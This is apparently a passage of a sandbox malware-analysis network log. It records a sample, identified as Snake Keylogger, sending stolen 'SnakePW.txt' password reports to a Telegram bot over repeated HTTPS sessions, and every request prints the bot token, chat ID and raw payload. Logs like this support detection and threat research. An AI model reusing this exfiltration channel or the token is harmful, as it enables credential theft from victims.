2022-06-26 07:33:34 UTC	219	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 35 39 63 34 66 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f59c4f71Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:34 UTC	220	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:34 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:34 UTC	220	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66891,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228814,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.5	49985	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:34 UTC	221	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f5d7ec7d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:34 UTC	221	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 35 64 37 65 63 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f5d7ec7dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:35 UTC	222	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:35 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:35 UTC	222	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66892,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228814,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49986	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:35 UTC	222	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f615e5bb Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:35 UTC	223	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 36 31 35 65 35 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f615e5bbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:35 UTC	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:35 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:35 UTC	224	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66893,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228815,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.5	49987	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:35 UTC	224	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f653e20d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:35 UTC	224	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 36 35 33 65 32 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f653e20dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:35 UTC	225	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:35 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:35 UTC	225	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66895,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228815,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49988	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:35 UTC	226	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f68f7cf8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:35 UTC	226	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 36 38 66 37 63 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f68f7cf8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:36 UTC	227	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:36 UTC	227	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66896,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228816,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.5	49989	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:36 UTC	227	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f6cd7a55 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:36 UTC	228	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 36 63 64 37 61 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f6cd7a55Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:36 UTC	228	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:36 UTC	229	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66897,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228816,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49990	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:36 UTC	229	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f701edeb Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:36 UTC	230	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 37 30 31 65 64 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f701edebContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:36 UTC	230	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:36 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:36 UTC	230	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66898,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228816,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.5	49992	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:37 UTC	231	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f73feb89 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:37 UTC	231	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 37 33 66 65 62 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f73feb89Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
